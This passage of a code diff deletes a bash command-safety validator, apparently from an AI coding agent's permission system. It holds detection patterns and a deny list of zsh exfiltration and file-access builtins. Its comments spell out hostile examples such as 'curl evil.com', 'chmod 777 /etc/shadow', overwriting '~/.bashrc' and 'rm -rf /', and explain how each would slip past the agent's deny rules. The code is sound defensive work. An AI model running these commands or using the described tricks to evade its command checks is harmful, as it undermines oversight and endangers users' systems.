  1969. package/dist/src/utils/ultraplan/ccrSession.js +0 -264
  1970. package/dist/src/utils/ultraplan/keyword.js +0 -122
  1971. package/dist/src/utils/ultraplan/prompt.txt +0 -1
  1972. package/dist/src/utils/unaryLogging.js +0 -16
  1973. package/dist/src/utils/undercover.js +0 -89
  1974. package/dist/src/utils/user.js +0 -138
  1975. package/dist/src/utils/userAgent.js +0 -13
  1976. package/dist/src/utils/userPromptKeywords.js +0 -21
  1977. package/dist/src/utils/uuid.js +0 -22
  1978. package/dist/src/utils/warningHandler.js +0 -97
  1979. package/dist/src/utils/which.js +0 -75
  1980. package/dist/src/utils/windowsPaths.js +0 -146
  1981. package/dist/src/utils/withResolvers.js +0 -13
  1982. package/dist/src/utils/words.js +0 -793
  1983. package/dist/src/utils/workloadContext.js +0 -42
  1984. package/dist/src/utils/worktree.js +0 -1142
  1985. package/dist/src/utils/worktreeModeEnabled.js +0 -11
  1986. package/dist/src/utils/xdg.js +0 -52
  1987. package/dist/src/utils/xml.js +0 -15
  1988. package/dist/src/utils/yaml.js +0 -16
  1989. package/dist/src/utils/zodToJsonSchema.js +0 -19
  1990. package/dist/src/vim/motions.js +0 -73
  1991. package/dist/src/vim/operators.js +0 -401
  1992. package/dist/src/vim/textObjects.js +0 -153
  1993. package/dist/src/vim/transitions.js +0 -340
  1994. package/dist/src/vim/types.js +0 -93
  1995. package/dist/src/voice/voiceModeEnabled.js +0 -48
  1996. package/dist/src/whatsapp/bridge.js +0 -267
  1997. package/dist/src/whatsapp/config.js +0 -128
  1998. package/dist/src/whatsapp/markdown.js +0 -37
  1999. package/dist/src/whatsapp/mirror.js +0 -74
  2000. package/dist/src/whatsapp/session.js +0 -142
@@ -1,2267 +0,0 @@
1
- import { logEvent } from '../../services/analytics/index.js';
2
- import { extractHeredocs } from '../../utils/bash/heredoc.js';
3
- import { ParsedCommand } from '../../utils/bash/ParsedCommand.js';
4
- import { hasMalformedTokens, hasShellQuoteSingleQuoteBug, tryParseShellCommand, } from '../../utils/bash/shellQuote.js';
5
- const HEREDOC_IN_SUBSTITUTION = /\$\(.*<</;
6
- // Note: Backtick pattern is handled separately in validateDangerousPatterns
7
- // to distinguish between escaped and unescaped backticks
8
- const COMMAND_SUBSTITUTION_PATTERNS = [
9
- { pattern: /<\(/, message: 'process substitution <()' },
10
- { pattern: />\(/, message: 'process substitution >()' },
11
- { pattern: /=\(/, message: 'Zsh process substitution =()' },
12
- // Zsh EQUALS expansion: =cmd at word start expands to $(which cmd).
13
- // `=curl evil.com` → `/usr/bin/curl evil.com`, bypassing Bash(curl:*) deny
14
- // rules since the parser sees `=curl` as the base command, not `curl`.
15
- // Only matches word-initial = followed by a command-name char (not VAR=val).
16
- {
17
- pattern: /(?:^|[\s;&|])=[a-zA-Z_]/,
18
- message: 'Zsh equals expansion (=cmd)',
19
- },
20
- { pattern: /\$\(/, message: '$() command substitution' },
21
- { pattern: /\$\{/, message: '${} parameter substitution' },
22
- { pattern: /\$\[/, message: '$[] legacy arithmetic expansion' },
23
- { pattern: /~\[/, message: 'Zsh-style parameter expansion' },
24
- { pattern: /\(e:/, message: 'Zsh-style glob qualifiers' },
25
- { pattern: /\(\+/, message: 'Zsh glob qualifier with command execution' },
26
- {
27
- pattern: /\}\s*always\s*\{/,
28
- message: 'Zsh always block (try/always construct)',
29
- },
30
- // Defense in depth: Block PowerShell comment syntax even though we don't execute in PowerShell
31
- // Added as protection against future changes that might introduce PowerShell execution
32
- { pattern: /<#/, message: 'PowerShell comment syntax' },
33
- ];
34
- // Zsh-specific dangerous commands that can bypass security checks.
35
- // These are checked against the base command (first word) of each command segment.
36
- const ZSH_DANGEROUS_COMMANDS = new Set([
37
- // zmodload is the gateway to many dangerous module-based attacks:
38
- // zsh/mapfile (invisible file I/O via array assignment),
39
- // zsh/system (sysopen/syswrite two-step file access),
40
- // zsh/zpty (pseudo-terminal command execution),
41
- // zsh/net/tcp (network exfiltration via ztcp),
42
- // zsh/files (builtin rm/mv/ln/chmod that bypass binary checks)
43
- 'zmodload',
44
- // emulate with -c flag is an eval-equivalent that executes arbitrary code
45
- 'emulate',
46
- // Zsh module builtins that enable dangerous operations.
47
- // These require zmodload first, but we block them as defense-in-depth
48
- // in case zmodload is somehow bypassed or the module is pre-loaded.
49
- 'sysopen', // Opens files with fine-grained control (zsh/system)
50
- 'sysread', // Reads from file descriptors (zsh/system)
51
- 'syswrite', // Writes to file descriptors (zsh/system)
52
- 'sysseek', // Seeks on file descriptors (zsh/system)
53
- 'zpty', // Executes commands on pseudo-terminals (zsh/zpty)
54
- 'ztcp', // Creates TCP connections for exfiltration (zsh/net/tcp)
55
- 'zsocket', // Creates Unix/TCP sockets (zsh/net/socket)
56
- 'mapfile', // Not actually a command, but the associative array is set via zmodload
57
- 'zf_rm', // Builtin rm from zsh/files
58
- 'zf_mv', // Builtin mv from zsh/files
59
- 'zf_ln', // Builtin ln from zsh/files
60
- 'zf_chmod', // Builtin chmod from zsh/files
61
- 'zf_chown', // Builtin chown from zsh/files
62
- 'zf_mkdir', // Builtin mkdir from zsh/files
63
- 'zf_rmdir', // Builtin rmdir from zsh/files
64
- 'zf_chgrp', // Builtin chgrp from zsh/files
65
- ]);
66
- // Numeric identifiers for bash security checks (to avoid logging strings)
67
- const BASH_SECURITY_CHECK_IDS = {
68
- INCOMPLETE_COMMANDS: 1,
69
- JQ_SYSTEM_FUNCTION: 2,
70
- JQ_FILE_ARGUMENTS: 3,
71
- OBFUSCATED_FLAGS: 4,
72
- SHELL_METACHARACTERS: 5,
73
- DANGEROUS_VARIABLES: 6,
74
- NEWLINES: 7,
75
- DANGEROUS_PATTERNS_COMMAND_SUBSTITUTION: 8,
76
- DANGEROUS_PATTERNS_INPUT_REDIRECTION: 9,
77
- DANGEROUS_PATTERNS_OUTPUT_REDIRECTION: 10,
78
- IFS_INJECTION: 11,
79
- GIT_COMMIT_SUBSTITUTION: 12,
80
- PROC_ENVIRON_ACCESS: 13,
81
- MALFORMED_TOKEN_INJECTION: 14,
82
- BACKSLASH_ESCAPED_WHITESPACE: 15,
83
- BRACE_EXPANSION: 16,
84
- CONTROL_CHARACTERS: 17,
85
- UNICODE_WHITESPACE: 18,
86
- MID_WORD_HASH: 19,
87
- ZSH_DANGEROUS_COMMANDS: 20,
88
- BACKSLASH_ESCAPED_OPERATORS: 21,
89
- COMMENT_QUOTE_DESYNC: 22,
90
- QUOTED_NEWLINE: 23,
91
- };
92
- function extractQuotedContent(command, isJq = false) {
93
- let withDoubleQuotes = '';
94
- let fullyUnquoted = '';
95
- let unquotedKeepQuoteChars = '';
96
- let inSingleQuote = false;
97
- let inDoubleQuote = false;
98
- let escaped = false;
99
- for (let i = 0; i < command.length; i++) {
100
- const char = command[i];
101
- if (escaped) {
102
- escaped = false;
103
- if (!inSingleQuote)
104
- withDoubleQuotes += char;
105
- if (!inSingleQuote && !inDoubleQuote)
106
- fullyUnquoted += char;
107
- if (!inSingleQuote && !inDoubleQuote)
108
- unquotedKeepQuoteChars += char;
109
- continue;
110
- }
111
- if (char === '\\' && !inSingleQuote) {
112
- escaped = true;
113
- if (!inSingleQuote)
114
- withDoubleQuotes += char;
115
- if (!inSingleQuote && !inDoubleQuote)
116
- fullyUnquoted += char;
117
- if (!inSingleQuote && !inDoubleQuote)
118
- unquotedKeepQuoteChars += char;
119
- continue;
120
- }
121
- if (char === "'" && !inDoubleQuote) {
122
- inSingleQuote = !inSingleQuote;
123
- unquotedKeepQuoteChars += char;
124
- continue;
125
- }
126
- if (char === '"' && !inSingleQuote) {
127
- inDoubleQuote = !inDoubleQuote;
128
- unquotedKeepQuoteChars += char;
129
- // For jq, include quotes in extraction to ensure content is properly analyzed
130
- if (!isJq)
131
- continue;
132
- }
133
- if (!inSingleQuote)
134
- withDoubleQuotes += char;
135
- if (!inSingleQuote && !inDoubleQuote)
136
- fullyUnquoted += char;
137
- if (!inSingleQuote && !inDoubleQuote)
138
- unquotedKeepQuoteChars += char;
139
- }
140
- return { withDoubleQuotes, fullyUnquoted, unquotedKeepQuoteChars };
141
- }
142
- function stripSafeRedirections(content) {
143
- // SECURITY: All three patterns MUST have a trailing boundary (?=\s|$).
144
- // Without it, `> /dev/nullo` matches `/dev/null` as a PREFIX, strips
145
- // `> /dev/null` leaving `o`, so `echo hi > /dev/nullo` becomes `echo hi o`.
146
- // validateRedirections then sees no `>` and passes. The file write to
147
- // /dev/nullo is auto-allowed via the read-only path (checkReadOnlyConstraints).
148
- // Main bashPermissions flow is protected (checkPathConstraints validates the
149
- // original command), but speculation.ts uses checkReadOnlyConstraints alone.
150
- return content
151
- .replace(/\s+2\s*>&\s*1(?=\s|$)/g, '')
152
- .replace(/[012]?\s*>\s*\/dev\/null(?=\s|$)/g, '')
153
- .replace(/\s*<\s*\/dev\/null(?=\s|$)/g, '');
154
- }
155
- /**
156
- * Checks if content contains an unescaped occurrence of a single character.
157
- * Handles bash escape sequences correctly where a backslash escapes the following character.
158
- *
159
- * IMPORTANT: This function only handles single characters, not strings. If you need to extend
160
- * this to handle multi-character strings, be EXTREMELY CAREFUL about shell ANSI-C quoting
161
- * (e.g., $'\n', $'\x41', $'\u0041') which can encode arbitrary characters and strings in ways
162
- * that are very difficult to parse correctly. Incorrect handling could introduce security
163
- * vulnerabilities by allowing attackers to bypass security checks.
164
- *
165
- * @param content - The string to search (typically from extractQuotedContent)
166
- * @param char - Single character to search for (e.g., '`')
167
- * @returns true if unescaped occurrence found, false otherwise
168
- *
169
- * Examples:
170
- * hasUnescapedChar("test \`safe\`", '`') → false (escaped backticks)
171
- * hasUnescapedChar("test `dangerous`", '`') → true (unescaped backticks)
172
- * hasUnescapedChar("test\\`date`", '`') → true (escaped backslash + unescaped backtick)
173
- */
174
- function hasUnescapedChar(content, char) {
175
- if (char.length !== 1) {
176
- throw new Error('hasUnescapedChar only works with single characters');
177
- }
178
- let i = 0;
179
- while (i < content.length) {
180
- // If we see a backslash, skip it and the next character (they form an escape sequence)
181
- if (content[i] === '\\' && i + 1 < content.length) {
182
- i += 2; // Skip backslash and escaped character
183
- continue;
184
- }
185
- // Check if current character matches
186
- if (content[i] === char) {
187
- return true; // Found unescaped occurrence
188
- }
189
- i++;
190
- }
191
- return false; // No unescaped occurrences found
192
- }
193
- function validateEmpty(context) {
194
- if (!context.originalCommand.trim()) {
195
- return {
196
- behavior: 'allow',
197
- updatedInput: { command: context.originalCommand },
198
- decisionReason: { type: 'other', reason: 'Empty command is safe' },
199
- };
200
- }
201
- return { behavior: 'passthrough', message: 'Command is not empty' };
202
- }
203
- function validateIncompleteCommands(context) {
204
- const { originalCommand } = context;
205
- const trimmed = originalCommand.trim();
206
- if (/^\s*\t/.test(originalCommand)) {
207
- logEvent('tengu_bash_security_check_triggered', {
208
- checkId: BASH_SECURITY_CHECK_IDS.INCOMPLETE_COMMANDS,
209
- subId: 1,
210
- });
211
- return {
212
- behavior: 'ask',
213
- message: 'Command appears to be an incomplete fragment (starts with tab)',
214
- };
215
- }
216
- if (trimmed.startsWith('-')) {
217
- logEvent('tengu_bash_security_check_triggered', {
218
- checkId: BASH_SECURITY_CHECK_IDS.INCOMPLETE_COMMANDS,
219
- subId: 2,
220
- });
221
- return {
222
- behavior: 'ask',
223
- message: 'Command appears to be an incomplete fragment (starts with flags)',
224
- };
225
- }
226
- if (/^\s*(&&|\|\||;|>>?|<)/.test(originalCommand)) {
227
- logEvent('tengu_bash_security_check_triggered', {
228
- checkId: BASH_SECURITY_CHECK_IDS.INCOMPLETE_COMMANDS,
229
- subId: 3,
230
- });
231
- return {
232
- behavior: 'ask',
233
- message: 'Command appears to be a continuation line (starts with operator)',
234
- };
235
- }
236
- return { behavior: 'passthrough', message: 'Command appears complete' };
237
- }
238
- /**
239
- * Checks if a command is a "safe" heredoc-in-substitution pattern that can
240
- * bypass the generic $() validator.
241
- *
242
- * This is an EARLY-ALLOW path: returning `true` causes bashCommandIsSafe to
243
- * return `passthrough`, bypassing ALL subsequent validators. Given this
244
- * authority, the check must be PROVABLY safe, not "probably safe".
245
- *
246
- * The only pattern we allow is:
247
- * [prefix] $(cat <<'DELIM'\n
248
- * [body lines]\n
249
- * DELIM\n
250
- * ) [suffix]
251
- *
252
- * Where:
253
- * - The delimiter must be single-quoted ('DELIM') or escaped (\DELIM) so the
254
- * body is literal text with no expansion
255
- * - The closing delimiter must be on a line BY ITSELF (or with only trailing
256
- * whitespace + `)` for the $(cat <<'EOF'\n...\nEOF)` inline form)
257
- * - The closing delimiter must be the FIRST such line — matching bash's
258
- * behavior exactly (no skipping past early delimiters to find EOF))
259
- * - There must be non-whitespace text BEFORE the $( (i.e., the substitution
260
- * is used in argument position, not as a command name). Otherwise the
261
- * heredoc body becomes an arbitrary command name with [suffix] as args.
262
- * - The remaining text (with the heredoc stripped) must pass all validators
263
- *
264
- * This implementation uses LINE-BASED matching, not regex [\s\S]*?, to
265
- * precisely replicate bash's heredoc-closing behavior.
266
- */
267
- function isSafeHeredoc(command) {
268
- if (!HEREDOC_IN_SUBSTITUTION.test(command))
269
- return false;
270
- // SECURITY: Use [ \t] (not \s) between << and the delimiter. \s matches
271
- // newlines, but bash requires the delimiter word on the same line as <<.
272
- // Matching across newlines could accept malformed syntax that bash rejects.
273
- // Handle quote variations: 'EOF', ''EOF'' (splitCommand may mangle quotes).
274
- const heredocPattern = /\$\(cat[ \t]*<<(-?)[ \t]*(?:'+([A-Za-z_]\w*)'+|\\([A-Za-z_]\w*))/g;
275
- let match;
276
- const safeHeredocs = [];
277
- while ((match = heredocPattern.exec(command)) !== null) {
278
- const delimiter = match[2] || match[3];
279
- if (delimiter) {
280
- safeHeredocs.push({
281
- start: match.index,
282
- operatorEnd: match.index + match[0].length,
283
- delimiter,
284
- isDash: match[1] === '-',
285
- });
286
- }
287
- }
288
- // If no safe heredoc patterns found, it's not safe
289
- if (safeHeredocs.length === 0)
290
- return false;
291
- const verified = [];
292
- for (const { start, operatorEnd, delimiter, isDash } of safeHeredocs) {
293
- // The opening line must end immediately after the delimiter (only
294
- // horizontal whitespace allowed before the newline). If there's other
295
- // content (like `; rm -rf /`), this is not a simple safe heredoc.
296
- const afterOperator = command.slice(operatorEnd);
297
- const openLineEnd = afterOperator.indexOf('\n');
298
- if (openLineEnd === -1)
299
- return false; // No content at all
300
- const openLineTail = afterOperator.slice(0, openLineEnd);
301
- if (!/^[ \t]*$/.test(openLineTail))
302
- return false; // Extra content on open line
303
- // Body starts after the newline
304
- const bodyStart = operatorEnd + openLineEnd + 1;
305
- const body = command.slice(bodyStart);
306
- const bodyLines = body.split('\n');
307
- // Find the FIRST line that closes the heredoc. There are two valid forms:
308
- // 1. `DELIM` alone on a line (bash-standard), followed by `)` on the
309
- // next line (with only whitespace before it)
310
- // 2. `DELIM)` on a line (the inline $(cat <<'EOF'\n...\nEOF) form,
311
- // where bash's PST_EOFTOKEN closes both heredoc and substitution)
312
- // For <<-, leading tabs are stripped before matching.
313
- let closingLineIdx = -1;
314
- let closeParenLineIdx = -1; // Line index where `)` appears
315
- let closeParenColIdx = -1; // Column index of `)` on that line
316
- for (let i = 0; i < bodyLines.length; i++) {
317
- const rawLine = bodyLines[i];
318
- const line = isDash ? rawLine.replace(/^\t*/, '') : rawLine;
319
- // Form 1: delimiter alone on a line
320
- if (line === delimiter) {
321
- closingLineIdx = i;
322
- // The `)` must be on the NEXT line with only whitespace before it
323
- const nextLine = bodyLines[i + 1];
324
- if (nextLine === undefined)
325
- return false; // No closing `)`
326
- const parenMatch = nextLine.match(/^([ \t]*)\)/);
327
- if (!parenMatch)
328
- return false; // `)` not at start of next line
329
- closeParenLineIdx = i + 1;
330
- closeParenColIdx = parenMatch[1].length; // Position of `)`
331
- break;
332
- }
333
- // Form 2: delimiter immediately followed by `)` (PST_EOFTOKEN form)
334
- // Only whitespace allowed between delimiter and `)`.
335
- if (line.startsWith(delimiter)) {
336
- const afterDelim = line.slice(delimiter.length);
337
- const parenMatch = afterDelim.match(/^([ \t]*)\)/);
338
- if (parenMatch) {
339
- closingLineIdx = i;
340
- closeParenLineIdx = i;
341
- // Column is in rawLine (pre-tab-strip), so recompute
342
- const tabPrefix = isDash ? (rawLine.match(/^\t*/)?.[0] ?? '') : '';
343
- closeParenColIdx =
344
- tabPrefix.length + delimiter.length + parenMatch[1].length;
345
- break;
346
- }
347
- // Line starts with delimiter but has other trailing content —
348
- // this is NOT the closing line (bash requires exact match or EOF`)`).
349
- // But it's also a red flag: if this were inside $(), bash might
350
- // close early via PST_EOFTOKEN with other shell metacharacters.
351
- // We already handle that case in extractHeredocs — here we just
352
- // reject it as not matching our safe pattern.
353
- if (/^[)}`|&;(<>]/.test(afterDelim)) {
354
- return false; // Ambiguous early-closure pattern
355
- }
356
- }
357
- }
358
- if (closingLineIdx === -1)
359
- return false; // No closing delimiter found
360
- // Compute the absolute end position (one past the `)` character)
361
- let endPos = bodyStart;
362
- for (let i = 0; i < closeParenLineIdx; i++) {
363
- endPos += bodyLines[i].length + 1; // +1 for newline
364
- }
365
- endPos += closeParenColIdx + 1; // +1 to include the `)` itself
366
- verified.push({ start, end: endPos });
367
- }
368
- // SECURITY: Reject nested matches. The regex finds $(cat <<'X' patterns
369
- // in RAW TEXT without understanding quoted-heredoc semantics. When the
370
- // outer heredoc has a quoted delimiter (<<'A'), its body is LITERAL text
371
- // in bash — any inner $(cat <<'B' is just characters, not a real heredoc.
372
- // But our regex matches both, producing NESTED ranges. Stripping nested
373
- // ranges corrupts indices: after stripping the inner range, the outer
374
- // range's `end` is stale (points past the shrunken string), causing
375
- // `remaining.slice(end)` to return '' and silently drop any suffix
376
- // (e.g., `; rm -rf /`). Since all our matched heredocs have quoted/escaped
377
- // delimiters, a nested match inside the body is ALWAYS literal text —
378
- // no legitimate user writes this pattern. Bail to safe fallback.
379
- for (const outer of verified) {
380
- for (const inner of verified) {
381
- if (inner === outer)
382
- continue;
383
- if (inner.start > outer.start && inner.start < outer.end) {
384
- return false;
385
- }
386
- }
387
- }
388
- // Strip all verified heredocs from the command, building `remaining`.
389
- // Process in reverse order so earlier indices stay valid.
390
- const sortedVerified = [...verified].sort((a, b) => b.start - a.start);
391
- let remaining = command;
392
- for (const { start, end } of sortedVerified) {
393
- remaining = remaining.slice(0, start) + remaining.slice(end);
394
- }
395
- // SECURITY: The remaining text must NOT start with only whitespace before
396
- // the (now-stripped) heredoc position IF there's non-whitespace after it.
397
- // If the $() is in COMMAND-NAME position (no prefix), its output becomes
398
- // the command to execute, with any suffix text as arguments:
399
- // $(cat <<'EOF'\nchmod\nEOF\n) 777 /etc/shadow
400
- // → runs `chmod 777 /etc/shadow`
401
- // We only allow the substitution in ARGUMENT position: there must be a
402
- // command word before the $(.
403
- // After stripping, `remaining` should look like `cmd args... [more args]`.
404
- // If remaining starts with only whitespace (or is empty), the $() WAS the
405
- // command — that's only safe if there are no trailing arguments.
406
- const trimmedRemaining = remaining.trim();
407
- if (trimmedRemaining.length > 0) {
408
- // There's a prefix command — good. But verify the original command
409
- // also had a non-whitespace prefix before the FIRST $( (the heredoc
410
- // could be one of several; we need the first one's prefix).
411
- const firstHeredocStart = Math.min(...verified.map(v => v.start));
412
- const prefix = command.slice(0, firstHeredocStart);
413
- if (prefix.trim().length === 0) {
414
- // $() is in command-name position but there's trailing text — UNSAFE.
415
- // The heredoc body becomes the command name, trailing text becomes args.
416
- return false;
417
- }
418
- }
419
- // Check that remaining text contains only safe characters.
420
- // After stripping safe heredocs, the remaining text should only be command
421
- // names, arguments, quotes, and whitespace. Reject ANY shell metacharacter
422
- // to prevent operators (|, &, &&, ||, ;) or expansions ($, `, {, <, >) from
423
- // being used to chain dangerous commands after a safe heredoc.
424
- // SECURITY: Use explicit ASCII space/tab only — \s matches unicode whitespace
425
- // like \u00A0 which can be used to hide content. Newlines are also blocked
426
- // (they would indicate multi-line commands outside the heredoc body).
427
- if (!/^[a-zA-Z0-9 \t"'.\-/_@=,:+~]*$/.test(remaining))
428
- return false;
429
- // SECURITY: The remaining text (command with heredocs stripped) must also
430
- // pass all security validators. Without this, appending a safe heredoc to a
431
- // dangerous command (e.g., `zmodload zsh/system $(cat <<'EOF'\nx\nEOF\n)`)
432
- // causes this early-allow path to return passthrough, bypassing
433
- // validateZshDangerousCommands, validateProcEnvironAccess, and any other
434
- // main validator that checks allowlist-safe character patterns.
435
- // No recursion risk: `remaining` has no `$(... <<` pattern, so the recursive
436
- // call's validateSafeCommandSubstitution returns passthrough immediately.
437
- if (bashCommandIsSafe_DEPRECATED(remaining).behavior !== 'passthrough')
438
- return false;
439
- return true;
440
- }
441
- /**
442
- * Detects well-formed $(cat <<'DELIM'...DELIM) heredoc substitution patterns.
443
- * Returns the command with matched heredocs stripped, or null if none found.
444
- * Used by the pre-split gate to strip safe heredocs and re-check the remainder.
445
- */
446
- export function stripSafeHeredocSubstitutions(command) {
447
- if (!HEREDOC_IN_SUBSTITUTION.test(command))
448
- return null;
449
- const heredocPattern = /\$\(cat[ \t]*<<(-?)[ \t]*(?:'+([A-Za-z_]\w*)'+|\\([A-Za-z_]\w*))/g;
450
- let result = command;
451
- let found = false;
452
- let match;
453
- const ranges = [];
454
- while ((match = heredocPattern.exec(command)) !== null) {
455
- if (match.index > 0 && command[match.index - 1] === '\\')
456
- continue;
457
- const delimiter = match[2] || match[3];
458
- if (!delimiter)
459
- continue;
460
- const isDash = match[1] === '-';
461
- const operatorEnd = match.index + match[0].length;
462
- const afterOperator = command.slice(operatorEnd);
463
- const openLineEnd = afterOperator.indexOf('\n');
464
- if (openLineEnd === -1)
465
- continue;
466
- if (!/^[ \t]*$/.test(afterOperator.slice(0, openLineEnd)))
467
- continue;
468
- const bodyStart = operatorEnd + openLineEnd + 1;
469
- const bodyLines = command.slice(bodyStart).split('\n');
470
- for (let i = 0; i < bodyLines.length; i++) {
471
- const rawLine = bodyLines[i];
472
- const line = isDash ? rawLine.replace(/^\t*/, '') : rawLine;
473
- if (line.startsWith(delimiter)) {
474
- const after = line.slice(delimiter.length);
475
- let closePos = -1;
476
- if (/^[ \t]*\)/.test(after)) {
477
- const lineStart = bodyStart +
478
- bodyLines.slice(0, i).join('\n').length +
479
- (i > 0 ? 1 : 0);
480
- closePos = command.indexOf(')', lineStart);
481
- }
482
- else if (after === '') {
483
- const nextLine = bodyLines[i + 1];
484
- if (nextLine !== undefined && /^[ \t]*\)/.test(nextLine)) {
485
- const nextLineStart = bodyStart + bodyLines.slice(0, i + 1).join('\n').length + 1;
486
- closePos = command.indexOf(')', nextLineStart);
487
- }
488
- }
489
- if (closePos !== -1) {
490
- ranges.push({ start: match.index, end: closePos + 1 });
491
- found = true;
492
- }
493
- break;
494
- }
495
- }
496
- }
497
- if (!found)
498
- return null;
499
- for (let i = ranges.length - 1; i >= 0; i--) {
500
- const r = ranges[i];
501
- result = result.slice(0, r.start) + result.slice(r.end);
502
- }
503
- return result;
504
- }
505
- /** Detection-only check: does the command contain a safe heredoc substitution? */
506
- export function hasSafeHeredocSubstitution(command) {
507
- return stripSafeHeredocSubstitutions(command) !== null;
508
- }
509
- function validateSafeCommandSubstitution(context) {
510
- const { originalCommand } = context;
511
- if (!HEREDOC_IN_SUBSTITUTION.test(originalCommand)) {
512
- return { behavior: 'passthrough', message: 'No heredoc in substitution' };
513
- }
514
- if (isSafeHeredoc(originalCommand)) {
515
- return {
516
- behavior: 'allow',
517
- updatedInput: { command: originalCommand },
518
- decisionReason: {
519
- type: 'other',
520
- reason: 'Safe command substitution: cat with quoted/escaped heredoc delimiter',
521
- },
522
- };
523
- }
524
- return {
525
- behavior: 'passthrough',
526
- message: 'Command substitution needs validation',
527
- };
528
- }
529
- function validateGitCommit(context) {
530
- const { originalCommand, baseCommand } = context;
531
- if (baseCommand !== 'git' || !/^git\s+commit\s+/.test(originalCommand)) {
532
- return { behavior: 'passthrough', message: 'Not a git commit' };
533
- }
534
- // SECURITY: Backslashes can cause our regex to mis-identify quote boundaries
535
- // (e.g., `git commit -m "test\"msg" && evil`). Legitimate commit messages
536
- // virtually never contain backslashes, so bail to the full validator chain.
537
- if (originalCommand.includes('\\')) {
538
- return {
539
- behavior: 'passthrough',
540
- message: 'Git commit contains backslash, needs full validation',
541
- };
542
- }
543
- // SECURITY: The `.*?` before `-m` must NOT match shell operators. Previously
544
- // `.*?` matched anything except `\n`, including `;`, `&`, `|`, `` ` ``, `$(`.
545
- // For `git commit ; curl evil.com -m 'x'`, `.*?` swallowed `; curl evil.com `
546
- // leaving remainder=`` (falsy → remainder check skipped) → returned `allow`
547
- // for a compound command. Early-allow skips ALL main validators (line ~1908),
548
- // nullifying validateQuotedNewline, validateBackslashEscapedOperators, etc.
549
- // While splitCommand currently catches this downstream, early-allow is a
550
- // POSITIVE ASSERTION that the FULL command is safe — which it is NOT.
551
- //
552
- // Also: `\s+` between `git` and `commit` must NOT match `\n`/`\r` (command
553
- // separators in bash). Use `[ \t]+` for horizontal-only whitespace.
554
- //
555
- // The `[^;&|`$<>()\n\r]*?` class excludes shell metacharacters. We also
556
- // exclude `<` and `>` here (redirects) — they're allowed in the REMAINDER
557
- // for `--author="Name <email>"` but must not appear BEFORE `-m`.
558
- const messageMatch = originalCommand.match(/^git[ \t]+commit[ \t]+[^;&|`$<>()\n\r]*?-m[ \t]+(["'])([\s\S]*?)\1(.*)$/);
559
- if (messageMatch) {
560
- const [, quote, messageContent, remainder] = messageMatch;
561
- if (quote === '"' && messageContent && /\$\(|`|\$\{/.test(messageContent)) {
562
- logEvent('tengu_bash_security_check_triggered', {
563
- checkId: BASH_SECURITY_CHECK_IDS.GIT_COMMIT_SUBSTITUTION,
564
- subId: 1,
565
- });
566
- return {
567
- behavior: 'ask',
568
- message: 'Git commit message contains command substitution patterns',
569
- };
570
- }
571
- // SECURITY: Check remainder for shell operators that could chain commands
572
- // or redirect output. The `.*` before `-m` in the regex can swallow flags
573
- // like `--amend`, leaving `&& evil` or `> ~/.bashrc` in the remainder.
574
- // Previously we only checked for $() / `` / ${} here, missing operators
575
- // like ; | & && || < >.
576
- //
577
- // `<` and `>` can legitimately appear INSIDE quotes in --author values
578
- // like `--author="Name <email>"`. An UNQUOTED `>` is a shell redirect
579
- // operator. Because validateGitCommit is an EARLY validator, returning
580
- // `allow` here short-circuits bashCommandIsSafe and SKIPS
581
- // validateRedirections. So we must bail to passthrough on unquoted `<>`
582
- // to let the main validators handle it.
583
- //
584
- // Attack: `git commit --allow-empty -m 'payload' > ~/.bashrc`
585
- // validateGitCommit returns allow → bashCommandIsSafe short-circuits →
586
- // validateRedirections NEVER runs → ~/.bashrc overwritten with git
587
- // stdout containing `payload` → RCE on next shell login.
588
- if (remainder && /[;|&()`]|\$\(|\$\{/.test(remainder)) {
589
- return {
590
- behavior: 'passthrough',
591
- message: 'Git commit remainder contains shell metacharacters',
592
- };
593
- }
594
- if (remainder) {
595
- // Strip quoted content, then check for `<` or `>`. Quoted `<>` (email
596
- // brackets in --author) are safe; unquoted `<>` are shell redirects.
597
- // NOTE: This simple quote tracker has NO backslash handling. `\'`/`\"`
598
- // outside quotes would desync it (bash: \' = literal ', tracker: toggles
599
- // SQ). BUT line 584 already bailed on ANY backslash in originalCommand,
600
- // so we never reach here with backslashes. For backslash-free input,
601
- // simple quote toggling is correct (no way to escape quotes without \\).
602
- let unquoted = '';
603
- let inSQ = false;
604
- let inDQ = false;
605
- for (let i = 0; i < remainder.length; i++) {
606
- const c = remainder[i];
607
- if (c === "'" && !inDQ) {
608
- inSQ = !inSQ;
609
- continue;
610
- }
611
- if (c === '"' && !inSQ) {
612
- inDQ = !inDQ;
613
- continue;
614
- }
615
- if (!inSQ && !inDQ)
616
- unquoted += c;
617
- }
618
- if (/[<>]/.test(unquoted)) {
619
- return {
620
- behavior: 'passthrough',
621
- message: 'Git commit remainder contains unquoted redirect operator',
622
- };
623
- }
624
- }
625
- // Security hardening: block messages starting with dash
626
- // This catches potential obfuscation patterns like git commit -m "---"
627
- if (messageContent && messageContent.startsWith('-')) {
628
- logEvent('tengu_bash_security_check_triggered', {
629
- checkId: BASH_SECURITY_CHECK_IDS.OBFUSCATED_FLAGS,
630
- subId: 5,
631
- });
632
- return {
633
- behavior: 'ask',
634
- message: 'Command contains quoted characters in flag names',
635
- };
636
- }
637
- return {
638
- behavior: 'allow',
639
- updatedInput: { command: originalCommand },
640
- decisionReason: {
641
- type: 'other',
642
- reason: 'Git commit with simple quoted message is allowed',
643
- },
644
- };
645
- }
646
- return { behavior: 'passthrough', message: 'Git commit needs validation' };
647
- }
648
- function validateJqCommand(context) {
649
- const { originalCommand, baseCommand } = context;
650
- if (baseCommand !== 'jq') {
651
- return { behavior: 'passthrough', message: 'Not jq' };
652
- }
653
- if (/\bsystem\s*\(/.test(originalCommand)) {
654
- logEvent('tengu_bash_security_check_triggered', {
655
- checkId: BASH_SECURITY_CHECK_IDS.JQ_SYSTEM_FUNCTION,
656
- subId: 1,
657
- });
658
- return {
659
- behavior: 'ask',
660
- message: 'jq command contains system() function which executes arbitrary commands',
661
- };
662
- }
663
- // File arguments are now allowed - they will be validated by path validation in readOnlyValidation.ts
664
- // Only block dangerous flags that could read files into jq variables
665
- const afterJq = originalCommand.substring(3).trim();
666
- if (/(?:^|\s)(?:-f\b|--from-file|--rawfile|--slurpfile|-L\b|--library-path)/.test(afterJq)) {
667
- logEvent('tengu_bash_security_check_triggered', {
668
- checkId: BASH_SECURITY_CHECK_IDS.JQ_FILE_ARGUMENTS,
669
- subId: 1,
670
- });
671
- return {
672
- behavior: 'ask',
673
- message: 'jq command contains dangerous flags that could execute code or read arbitrary files',
674
- };
675
- }
676
- return { behavior: 'passthrough', message: 'jq command is safe' };
677
- }
678
- function validateShellMetacharacters(context) {
679
